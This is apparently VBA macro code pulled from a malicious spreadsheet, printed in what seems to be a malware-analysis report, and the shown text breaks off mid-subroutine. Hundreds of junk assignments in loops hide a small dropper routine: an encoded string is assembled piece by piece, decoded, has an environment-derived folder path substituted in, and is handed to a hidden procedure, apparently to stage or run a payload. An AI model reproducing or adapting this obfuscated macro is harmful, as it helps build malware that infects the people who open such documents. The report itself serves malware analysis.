        hZiJe = Space(9)
        KipVeyiXSRlP = 119 - 205 - 1889
        KipVeyiXSRlP = Space(2)
    Next FLCwNE

    TpCtWGYglFUM = Left("RuO-kP  IIr^bLZF ", 2)
    QjhWSLXD = LTrim("[WF$d xZ ]Y ")
    InVFG = 1461 - 1061 - 1291
    TUunBUc = TUunBUc + "&.e Z"
    QjhWSLXD = LTrim("(     QeLxzg.Ro r( ")
    InVFG = Right("ikbV C io]QA t  R c(", 5)
    QjhWSLXD = Left("mV pFx_TVJ  !", 3)
    KipVeyiXSRlP = Right("]@Nm? yEa^.wo._q", 2)
    InVFG = 1536 + 1294 + 124
    TUunBUc = TUunBUc + "e #Gx"
    hZHswMiCIRQQ = Space(16)
    KipVeyiXSRlP = Right("   GcTYf  B o Lq", 5)
    KipVeyiXSRlP = 1969 + 1419 + 1409
    hZiJe = 854 + 1896 + 1414
    InVFG = "kgEVx  e_ctytRA " + "o ws X  iy_B! " + " MOwnXiB  $"
    TUunBUc = TUunBUc + "CC ec"
    hZHswMiCIRQQ = StrReverse("vRE? gyXsO")
    QjhWSLXD = 1490 + 1736 + 1681
    For kdoxfL = 0 To 3
        While iNofCx < 4
            uQroitqD = 1520 + 1823 + 1673
            uQroitqD = Space(3)
            uQroitqD = 172 - 965 - 1159
            InVFG = UCase("uu h_aE d.b")
            hZHswMiCIRQQ = 408 + 605 + 648
            hZHswMiCIRQQ = LTrim("n  io Fda  R%")
            hZHswMiCIRQQ = Right("HaalioY n  ", 3)
            hZHswMiCIRQQ = UCase("P   ? J   X  bB_rP")
            InVFG = Right("L?^ [x QbxQdW", 3)
            InVFG = StrReverse("waEiH sx z")
            TpCtWGYglFUM = LTrim("umf%#rn!BR&]O")
            KipVeyiXSRlP = StrReverse("K )_nLG    ")
            InVFG = Right("cf)$ -gOLEg.?Ai?rE", 3)
            QjhWSLXD = LTrim("]HRh e[ I$lJx    uEa")
            hZHswMiCIRQQ = 1150 - 1682 - 1558
            iNofCx = iNofCx + 2
        Wend

        uQroitqD = Right("  wGWQp HPyf) E E&", 4)
        KipVeyiXSRlP = RTrim("JLqConA   _ V I) ")
        InVFG = Left(" h aX -RCLaPa Oudj!", 3)
        InVFG = UCase("B ulT IW%W  YmV H")
        InVFG = StrReverse("aaFpP BtV jj-  b")
        KipVeyiXSRlP = UCase(" qOGUfZZ[D aFY  mq#")
        TpCtWGYglFUM = 1830 + 274 + 614
        TpCtWGYglFUM = Right("NIKZ-. ))& ft ", 5)
        uQroitqD = StrReverse("  QylCZvF qf EN")
        InVFG = 1231 + 1504 + 1515
    Next kdoxfL

    InVFG = UCase("uF(AXg Ikeq  kpQVq")
    For IxRqFi = 0 To 8
        KipVeyiXSRlP = UCase("%&E. EV  M X(mRss  L")
        hZHswMiCIRQQ = 800 - 1854 - 1203
        QjhWSLXD = 1439 - 1110 - 1547
        KipVeyiXSRlP = UCase("B)Td uby-WT@ w")
        hZiJe = "dI pOcG z@SIM" + " _  GBO $#yp" + "o t nF(Ot n"
        hZiJe = RTrim(" VqN O j&fjNmoxX[b")
        uQroitqD = Right("JJL?Dusg I-n] $[ ", 2)
        hZHswMiCIRQQ = StrReverse(" )#z)pvZN hOh#")
        KipVeyiXSRlP = LTrim("I?@pY)^WAbqGz KW q ")
        QjhWSLXD = Left("q  i  yH RQph LR", 4)
        uQroitqD = LTrim("J $N-a$w%[")
        KipVeyiXSRlP = "F  syAu^ nEeQXAm)" + "^loaIgJSa!jL V D$( D" + "  y ^  fRU "
        KipVeyiXSRlP = 1854 + 992 + 255
        KipVeyiXSRlP = Space(12)
        uQroitqD = Right("jcY RxbP%% n-r B i ", 5)
        uQroitqD = Left("Z$ TCB-L@ Ec _j", 3)
        InVFG = 214 - 380 - 1168
    Next IxRqFi

    InVFG = Space(8)
    TUunBUc = TUunBUc + " M"
    hZHswMiCIRQQ = LTrim("LDkLseR$?e h jT ZRZQ")
    While oBqMyJ < 2
        uQroitqD = 362 - 618 - 1378
        hZiJe = Right("m )HlR.@k$[ Iuy", 2)
        KipVeyiXSRlP = 312 - 363 - 1807
        hZiJe = Right("N_WZ  (grG S", 2)
        uQroitqD = "v  #Ly S#hP? X!" + "_ F   !t mt " + "J    Pbjj#"
        QjhWSLXD = " jbCBKX u glgXX " + "yP  m ZYax   ew HC" + "jIp& Fy(_lUf"
        KipVeyiXSRlP = 991 + 821 + 1444
        hZHswMiCIRQQ = 1556 - 1497 - 1210
        InVFG = UCase("z@D rghO_F] PfCVU%U")
        QjhWSLXD = Right("m$- ^wmer%? aAhv QO ", 4)
        TpCtWGYglFUM = 1355 - 1630 - 1927
        QjhWSLXD = Space(19)
        hZHswMiCIRQQ = StrReverse("]nk    $%AOk w   ")
        hZiJe = Left("ufrDu DPTHaoHOF &", 2)
        QjhWSLXD = Right("kAh^)#lfg .Wz ", 3)
        oBqMyJ = oBqMyJ + 1
    Wend

    uQroitqD = 294 + 404 + 650
    QjhWSLXD = StrReverse(" xLw$ JcV@p (")
    For rUbJTk = 0 To 5
        hZiJe = Right(" UvmwJ%Gg  %-", 2)
        hZHswMiCIRQQ = Left(" pnDag  h l u th", 3)
        InVFG = Space(15)
        QjhWSLXD = StrReverse(" vSmI^Gw]! JrE #B ")
        uQroitqD = StrReverse("w.Sd JvlPd ")
        QjhWSLXD = UCase(" l)pk^rz VHfX k(")
        uQroitqD = RTrim("Y.rK^R _q PD lPLyo!")
        uQroitqD = LTrim("hr#[ #z^_J E")
        hZiJe = RTrim("DxA&STXEc!u? z")
        KipVeyiXSRlP = Right("P  F d  at UliN]", 5)
        InVFG = Right("v J ]vv?AApL", 3)
        uQroitqD = Left(" eI e)kd^ #]Ii^", 5)
        InVFG = LTrim("ITN M&dQ.f")
        TpCtWGYglFUM = 536 - 224 - 1727
    Next rUbJTk

    TUunBUc = Replace(mpdxb(TUunBUc), "FOLDER", Environ(mpdxb("TH[.eW .mcmfp XN")))
    uQroitqD = Space(20)
    hZHswMiCIRQQ = LTrim("Ks q)qJ]TmZ w ?!  ")
    hZHswMiCIRQQ = "wjfz #tCy#(iBH_)" + "&NA Z(pj  u  d " + "k rKxd & p &D"
    InVFG = " % JZ@mC.WV" + " ) a. #rG? sv[jwzk ^" + "m EvkE PB@D "
    hZHswMiCIRQQ = "k Hz    l? M  " + ".t^Ht@ & Z w!" + "NRNYV   aU kZ j "
    TpCtWGYglFUM = UCase("R B  TH.rl[ )c")
    hZHswMiCIRQQ = LTrim(" c oN o]   IuNyl #T")
    uQroitqD = 1346 - 1060 - 911
    While ADBpVR < 3
        For BPsDhz = 0 To 9
            QjhWSLXD = Left(")[fwV$W ^CgW", 5)
            KipVeyiXSRlP = StrReverse("T$ynN ]_Qoz&l_-zIl")
            hZiJe = RTrim("y&-wEtY N h p  ")
            hZiJe = Space(4)
            InVFG = Right("O] eLb%Zn ]VWKK^", 5)
            QjhWSLXD = 1000 + 1090 + 382
            InVFG = StrReverse("  c_ccF[hj  D.Mfb!Y")
            hZiJe = RTrim("(N! Wn [AV (B  kkJ")
            uQroitqD = Left("   tPe.C   [BSWf_", 5)
            InVFG = Left("Q pfIQJTVZ@qU v", 3)
            TpCtWGYglFUM = Right("Qs A _ M@lfhmz N", 3)
            TpCtWGYglFUM = StrReverse("C mFv y rZ&s")
            uQroitqD = StrReverse(" @gN?kr$ x   IG")
            TpCtWGYglFUM = Right("  BsHxDMkt Jx J-", 2)
            hZiJe = 446 - 1287 - 428
            hZHswMiCIRQQ = LTrim(" lmMB#z_k Ld A?")
            QjhWSLXD = 111 + 499 + 1243
        Next BPsDhz

        QjhWSLXD = RTrim("q gxTo p? pve[lLioc")
        uQroitqD = UCase("ZNkbla#h U$bUA")
        uQroitqD = 618 + 255 + 1712
        KipVeyiXSRlP = Right("c oeaIHabk X nZ", 4)
        QjhWSLXD = Left("?Fy ^BYLQvaZ   c ", 5)
        hZiJe = Right("yikNJGU v^v ", 2)
        InVFG = StrReverse(" HDf  F  i^eLP$")
        hZiJe = StrReverse("  &nflD_Vlw%")
        InVFG = 1037 - 1229 - 1015
        ADBpVR = ADBpVR + 1
    Wend

    While arSCUDU < 367
        uQroitqD = Right("&Z_ !B(ab Wv", 3)

        hZHswMiCIRQQ = StrReverse("Qf   B U)h Q Or")

        InVFG = "U ] f?kUv@OD" + "Hf k Mjqd VJ " + "i  WXp ONJ "

        If arSCUDU = 225 Then
            For sPXZXo = 0 To 3
                For BRhetB = 0 To 10
                    hZiJe = Right("p !QAZwoa-!", 2)
                    KipVeyiXSRlP = "BO LEsCInKZ  &K W" + "I YJT^SoI yW  z oLX" + "KgzR]t  rO !   "
                    hZHswMiCIRQQ = LTrim("Y JQ o  S x")
                    KipVeyiXSRlP = 1025 + 121 + 1960
                    QjhWSLXD = RTrim(" JBHk aO y Sp_S!N")
                    QjhWSLXD = 1792 - 230 - 952
                    KipVeyiXSRlP = LTrim("fc.(Y tao?TQ @#@JBtl")
                    hZHswMiCIRQQ = StrReverse("!   gD a&)d ")
                    hZHswMiCIRQQ = "[#c - s    " + " j-lSzln NIn " + "D]lq  x e!fJ"
                    QjhWSLXD = UCase("   _  XZWAD  ")
                    InVFG = "]TAJuECvoI^U b " + "Yo$ z Ephq-wKeI d" + "_d!n WrEC_ sfUSo"
                Next BRhetB

                hZiJe = LTrim("ZR   w    LS  ")
                hZiJe = "iiR b F  ( iY D^TX" + " z  yFk#   " + " xTwk    %RRBu"
                hZiJe = 567 + 1315 + 653
                hZiJe = Right("GwqJ Cr[l@Wp", 3)
                hZHswMiCIRQQ = 799 + 1847 + 1193
                hZHswMiCIRQQ = StrReverse("[-u(vpiWYZb")
                InVFG = " xhYZ^  M$Y" + "  $Z    Ww  Xv " + " m e q _   "
                KipVeyiXSRlP = UCase("Z w V  WL ")
                TpCtWGYglFUM = 1019 - 550 - 1809
                uQroitqD = Left("$bS!yho    CAq c[", 2)
                QjhWSLXD = RTrim("f vDX#pQ?aN (h")
                QjhWSLXD = LTrim("H#Ib  k(e   ^ P m")
                hZiJe = UCase(". WYa_(YO ")
                hZiJe = Right("N(ZS# I @ ", 5)
                hZHswMiCIRQQ = Space(19)
                KipVeyiXSRlP = 1877 + 1922 + 268
                uQroitqD = Space(6)
            Next sPXZXo

            For qIUkuK = 0 To 10
                InVFG = Space(8)
                TpCtWGYglFUM = LTrim("aKwy ybIg#G te- AUA ")
                TpCtWGYglFUM = " @xd.e K)fD" + " L qJC%? p_MIQ" + "yg - $id_C$"
                hZiJe = RTrim("f  zdjV  h@ J")
                TpCtWGYglFUM = StrReverse("g-IysUW-  Ypg jIJw ")
                KipVeyiXSRlP = Space(1)
                hZHswMiCIRQQ = Space(19)
                hZiJe = LTrim("om@%  E ZJpJf &Mb")
                InVFG = ")O(Y ?  a Xa H" + "psR[!XdsUFN]gu" + "?q!k][ l[CGFF Q"
                TpCtWGYglFUM = "_! fAa-F !pD^" + "lY Z&Bt  g%nH]u" + " Q hw [J& "
                uQroitqD = Left("    )Xt lPfN SK", 5)
            Next qIUkuK

            mlOhQAsWtS TUunBUc, "AwaIP", "dsjddx", "BXmxp", "cMELAWp", "UQTj", "NnznTpMxiz", "kTOzxu", "eYEgwkSVLH"
        End If
    arSCUDU = arSCUDU + 1
    Wend
    uQroitqD = Space(18)
    QjhWSLXD = RTrim("vKarJ &F#!^ @ %   ")
    For VRbpom = 0 To 1
        For vPIuZJ = 0 To 7
            TpCtWGYglFUM = RTrim("N fA W]j-WI")
            KipVeyiXSRlP = UCase("%Wxr ghX  ?WM  ")
            QjhWSLXD = 1629 - 1943 - 1989
            KipVeyiXSRlP = LTrim("UQ b@B]$$H  ")
            TpCtWGYglFUM = Space(20)
            KipVeyiXSRlP = RTrim(" L![ENnFj%%Rg i")
            uQroitqD = RTrim("#AN]co $P_pV")
            KipVeyiXSRlP = RTrim(" MGg#KaQnjii^ H")
            KipVeyiXSRlP = RTrim("tXmp [ @ sgXS.MQb")
            QjhWSLXD = "  LwH   w m& iOB  [f" + "d dJe@XR(# pO " + "F@m# S]W  )lN "
            hZiJe = RTrim("X S   S Np ?D^ ^")
            KipVeyiXSRlP = LTrim("r C%F o EyMw")
            KipVeyiXSRlP = Left("BuGMX QD  G ?]", 5)
            hZHswMiCIRQQ = Left("^UxeXGEM ( WTO oYy", 2)
            InVFG = 281 + 211 + 928
            InVFG = 1753 - 581 - 958
            QjhWSLXD = Right("]W] uC[ Gnk%l-Jsr[d", 5)
            InVFG = 728 + 1288 + 1220
            InVFG = UCase("HYuWZ y lc]GK_D#IT G")
        Next vPIuZJ

        QjhWSLXD = RTrim("s % $e[o  d Q.%.v")
        hZiJe = Space(7)
        QjhWSLXD = Left("%Ce b_jEgqvs", 3)
        hZHswMiCIRQQ = 1633 + 258 + 1427
        KipVeyiXSRlP = Right("Otx&jLh  c eBkG", 5)
        KipVeyiXSRlP = 300 - 1713 - 1082
        hZHswMiCIRQQ = 1384 - 1004 - 1955
        hZiJe = StrReverse("jThr A $pf - ATGJ")
        TpCtWGYglFUM = Left("gN?&wy Njewv", 5)
        hZiJe = StrReverse("Tk ^G$v?&qItj")
        uQroitqD = Left("  xw(PMuIMo%YoVaV", 2)
        QjhWSLXD = Left(" OIoFt@&ZjYaJ@v", 4)
        TpCtWGYglFUM = 1214 - 272 - 1980
        hZHswMiCIRQQ = UCase("H-($  t-X[ ")
        KipVeyiXSRlP = 269 + 325 + 1952
        TpCtWGYglFUM = " # Vj  S   s" + "  i jJ M  UGugX@Z" + " I gQ UkO e ?Fb HW"
        hZHswMiCIRQQ = "SF xK[eWnLs " + "M?? zZ A%i z" + "c)Q Da d idS Yj u Uc"
        uQroitqD = StrReverse("JxVsV Hn ou? ^")
        hZiJe = Space(15)
    Next VRbpom

    hZHswMiCIRQQ = Space(10)
    hZHswMiCIRQQ = "B@@IEmKYTm" + "y_U] %J e r W" + "X nMCXva(E% .r"
    While grcLXT < 4
        InVFG = UCase(" A-ng (Ckco H@ h%bui")
        hZiJe = Right(" MDe awhXs", 2)
        KipVeyiXSRlP = UCase(")X (@ eT^ Z  ")
        KipVeyiXSRlP = UCase("L@VXN!fLl#.bD-v")
        hZHswMiCIRQQ = UCase("-   scXyye&sqs ")
        KipVeyiXSRlP = 334 + 1112 + 1133
        InVFG = LTrim("FiE r^  #xQtN)cRHVz")
        TpCtWGYglFUM = LTrim("bv@dFUFz yytqO T%Hf")
        hZHswMiCIRQQ = "N&@u.e _mDjJ^  s" + "oXU)ZmvzIN y" + "MTCY(jL   d&"
        hZHswMiCIRQQ = Left("EA  e^b^Bu# ", 3)
        InVFG = Right("#jOb A v #  I a(me", 2)
        hZHswMiCIRQQ = LTrim("K ?] eS&UM Y ")
        QjhWSLXD = Left("E )Ywqxk !#!C EI a  ", 3)
        QjhWSLXD = LTrim("G Y [?X ?QZf")
        grcLXT = grcLXT + 3
    Wend

    hZiJe = Left("o  j#hUihU ", 3)
    QjhWSLXD = Left(" $w] #-adM  gUrM", 2)
    TpCtWGYglFUM = LTrim("w i?_Tss] ")
    For SzBful = 0 To 8
        uQroitqD = Left(" (s MrdY]VG", 5)
        TpCtWGYglFUM = Left("& n  tUO&xm  x_ G", 5)
        uQroitqD = RTrim(" N jyhS aH")
        InVFG = Left("yM^e%]eOU - g x@g", 4)
        KipVeyiXSRlP = RTrim("Bve(o Qj m   )B")
    Next SzBful



End Sub



Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Function YdoFKr(POAUzCN As Double) As String
    InVFG = Space(2)
    uQroitqD = StrReverse("[_ z _%wa  xa s")
    For RMdFYY = 0 To 1
        For cbGdvf = 0 To 6
            uQroitqD = LTrim("fAYz I$ M ")
            QjhWSLXD = Space(19)
            uQroitqD = Right("bKZRsi]U  JVgx_UD", 3)
            uQroitqD = LTrim("nVa^i^  . zq?J)YK")
            TpCtWGYglFUM = Space(16)
            InVFG = RTrim("(j^p^ _Z^ cxnv")
            hZiJe = StrReverse("&DaRdw lW# ")
            TpCtWGYglFUM = Left("qpJ-h(@L ce z .qbyG", 4)
            QjhWSLXD = 816 + 1886 + 1547
            InVFG = RTrim("FOPN U.kUrSw (@$")
            KipVeyiXSRlP = Left("LkZM -XHB  GR!u(Xv ", 5)
            KipVeyiXSRlP = UCase("VFaD  Bisih@[H  t. ")
        Next cbGdvf

        uQroitqD = StrReverse("Hp v]Gbz&W#")
        InVFG = Right(" i v n xk  ]A  lhRU", 4)
        KipVeyiXSRlP = "vlV^Vs -c]O&?f(U!Kt" + "dABd cm #J BS(" + "#T !N L! n  #GnQQI("
        uQroitqD = "hcPv p @IX^alU( " + "to^  rs- -  % " + "  OL_  ^V .gR  xv"
        hZHswMiCIRQQ = Left("@ GZx[PK)J bP% j  ", 5)
        InVFG = LTrim(" NabJ VpZev ]e$")
        hZHswMiCIRQQ = RTrim("zZv OS]oj   aM H")
        QjhWSLXD = LTrim("F.xpOTzw  ^EAAwI_  ")
        hZHswMiCIRQQ = UCase("C scmgN EhksP (l]T")
        KipVeyiXSRlP = LTrim("EfO nGTjB#bCwpJiI")
        QjhWSLXD = RTrim(" D X  X_N %yD")
        hZiJe = Left(" -I# -BUIj MH .TM", 3)
        hZiJe = Right(" [KjmnSCop _IZ", 5)
        uQroitqD = 1280 + 904 + 1424
        hZiJe = 1887 + 893 + 1594
        KipVeyiXSRlP = Right("N[$ JlwZ- WA  &(WTQ ", 2)
    Next RMdFYY

    TpCtWGYglFUM = 1207 - 1560 - 1348
    InVFG = UCase("E N SUpVcynn mJ@h")
    TpCtWGYglFUM = 1240 + 1656 + 226
    KipVeyiXSRlP = RTrim("(^m   ][  &t u-h@")
    KipVeyiXSRlP = Space(11)
    uQroitqD = 553 + 1124 + 1929
    hZiJe = RTrim("S j B.C g_TZ$f")
    InVFG = 1763 + 1250 + 568
    QjhWSLXD = Space(10)
    hZiJe = Left("y-#(FiZVaz", 3)
    While JLuuhu < 4
        For DhhNEz = 0 To 7
            uQroitqD = Space(6)
            QjhWSLXD = 1633 - 380 - 982
            QjhWSLXD = Space(11)
            uQroitqD = Space(17)
            InVFG = RTrim("z [P  e .dujm j")
            InVFG = "eN   U_[ OIE" + "z?#  gb] [ ? KWH[x" + " UHRjLun  "
        Next DhhNEz

        uQroitqD = 242 + 1481 + 655
        TpCtWGYglFUM = 237 + 1914 + 212
        uQroitqD = "vdF p.Hnl.Qg ..Jn" + "nGgCN )#StaIx " + "![H .MYO   Tt]"
        hZHswMiCIRQQ = UCase("RWw bp?    T Ml._")
        InVFG = "G$_^GVWN$rUB?Awr" + "EEinJJkg  APt xM&-" + "h$duOW   ei!dG "
        QjhWSLXD = 1456 + 631 + 909
        KipVeyiXSRlP = RTrim("D TCH#- X& m%i ")
        JLuuhu = JLuuhu + 1
    Wend

    hZHswMiCIRQQ = Left("SpcUj aXs^D Un a", 5)
    KipVeyiXSRlP = Space(20)
    InVFG = Space(19)
    hZHswMiCIRQQ = UCase("aC^ C(g]rP ")
    KipVeyiXSRlP = 1360 + 1566 + 684
    YdoFKr = "vMFAPKwCAoLSUMSYBxV"
End Function



Function AmNAUm(DWczsf As String, tFWfLbm As Double, gVnXJQt As Integer, BFBkdU As Boolean) As String
    hZiJe = Left("  bo!I   ROI J&)yfXV", 4)
    For VyGbxD = 0 To 4
        For nBeKjH = 0 To 5
            QjhWSLXD = LTrim("l) w%UVyUGG N b")
            hZiJe = StrReverse("d[Z ?p f!r")
            InVFG = RTrim("N j    !T(")
            QjhWSLXD = " HA?N  meESlCh[-g " + "hYQhCz o    " + "hd)pg Wj T cDRC"
            TpCtWGYglFUM = 1955 - 978 - 1981
            hZHswMiCIRQQ = Right("Wt?WFwEsbwA", 5)
            hZiJe = Left("Kp s)(Gi -   F  PgB", 3)
        Next nBeKjH

        hZiJe = Space(7)
        uQroitqD = "YeE [EsewyK@" + " D ) g $rjiI   P" + "q NFL a So(vOWJAt"
        uQroitqD = Left("H    x&lZS ", 2)
        InVFG = LTrim("bL   R  uNmTI $FB JE")
        uQroitqD = "C( X[Wt%it" + "  u_Hg  kPY   I ^Q" + " NlAob .p Z- ECM"
        uQroitqD = Right("Zm  A g   IAcfF", 5)
        hZHswMiCIRQQ = LTrim(" ?(YYarfz bPR uNVY ")
        uQroitqD = LTrim("fO!QFpdA] Y mRq!")
    Next VyGbxD

    TpCtWGYglFUM = 1593 + 1882 + 1870
    KipVeyiXSRlP = UCase(" BBVaD aaqDGU^c")
    InVFG = RTrim("r& Vy .  @hjAdas %")
    hZHswMiCIRQQ = Right(" Tje LW]  N& ? Gl)", 2)
    While hLMkxo < 4
        While hXXqTY < 2
            uQroitqD = "[rn ?Pa  gJ@" + "F o # El c-gow" + "P ] PJSlx OEWy   WxW"
            hZHswMiCIRQQ = Left(" IF()Qj  ?L u)Q uT", 4)
            InVFG = 1952 - 667 - 1745
            KipVeyiXSRlP = Right("   nXU [ DA OVh#L", 5)
            KipVeyiXSRlP = Right("v oVsk MK!", 4)
            hXXqTY = hXXqTY + 2
        Wend

        hZHswMiCIRQQ = 1858 + 344 + 1354
        uQroitqD = UCase(" ^    ()] U g A&V")
        InVFG = "yG  h GOhGNrf^nZ" + "Sr p^   @ )jg-" + "f)  B   L O "
        InVFG = 264 + 744 + 144
        hZiJe = 1119 + 1335 + 981
        KipVeyiXSRlP = Left(" )  m O?U %", 2)
        TpCtWGYglFUM = StrReverse("G%Qaz[zx_ KiJ")
        TpCtWGYglFUM = Left("Nt u@ j W  ", 3)
        uQroitqD = 491 - 1791 - 1463
        hZHswMiCIRQQ = LTrim(" X kfZ fIlb  Vr #")
        QjhWSLXD = RTrim("($YuJC$ jcNo")
        hLMkxo = hLMkxo + 3
    Wend

    While KOgZXe < 4
        While zLEVcc < 1
            hZHswMiCIRQQ = 1512 + 1177 + 1903
            KipVeyiXSRlP = Right(")pWi X%B# M ^  E h  ", 4)
            hZiJe = Right("aCP-Wg]IpO-MdR", 4)
            hZHswMiCIRQQ = Right("r$ ZR x! UHlr", 2)
            InVFG = 1664 + 1350 + 1839
            QjhWSLXD = StrReverse("KH.vCj cDdSp")
            KipVeyiXSRlP = LTrim(" u  DX HPdYbH ")
            hZiJe = "dAcwmk  Mf  " + "PVcXEqUAZh&rOI " + "  .wBGu   jZn"
            KipVeyiXSRlP = StrReverse(" $KlXTxPVi[")
            InVFG = StrReverse(")jBS  Kds&  TqOm")
            TpCtWGYglFUM = UCase(" og e  )T L")
            KipVeyiXSRlP = 1112 + 1594 + 467
            uQroitqD = Left("BhOrFg lPa b Cuq)gK", 4)
            TpCtWGYglFUM = 1617 - 1055 - 1091
            zLEVcc = zLEVcc + 1
        Wend

        InVFG = 629 + 1808 + 1721
        TpCtWGYglFUM = LTrim("Pa oLN_igl")
        uQroitqD = UCase("TJlpc wz!O  O ou cGH")
        KipVeyiXSRlP = 1956 + 1271 + 480
        TpCtWGYglFUM = StrReverse("R   fwG DX")
        TpCtWGYglFUM = "Gtf c] h ht   ZIt" + "htp# Jaf EaR D!" + "MBtnL ZcMqmF(i p$ g "
        KOgZXe = KOgZXe + 2
    Wend

    TpCtWGYglFUM = "r()#QVl# $by wh" + " %RSX @NY  _  o.!" + "LkD@?FOK &   &G^R R"
    InVFG = "#w^  od^.mYLx  Mul" + "ja @  ]YM  i$FOeUd!p" + "Elm   ]z Q-]iJs^y"
    KipVeyiXSRlP = Right("zaA)g eVoR", 2)
    hZHswMiCIRQQ = LTrim("cR!V [MWY  ")
    uQroitqD = RTrim(" )!EW  &mK]A tLi$m")
    InVFG = 628 - 1244 - 1394
    hZHswMiCIRQQ = Space(20)
    InVFG = RTrim("HXzk-uk W& Dtd AP E")
    InVFG = Space(19)
    hZiJe = 1545 - 1663 - 146
    hZiJe = "h&dhz. lxfk " + "  .P FkJP v h  R-k " + " e   L p  JE^y o"
    QjhWSLXD = UCase("&]c(!w   S[U_Gd")
    AmNAUm = "oKtXuhGRYbfVmgRFVihE"
End Function



Sub WCitzTtA(sUwuFf As String, RZIoqvl As String, tngiri As String, cqzFJi As String, pdswqFA As String, Aexiblq As String, JDYhqWl As String)
    While dqvFST < 4
…

Open this report in the interactive analyzer, or submit your own file for analysis.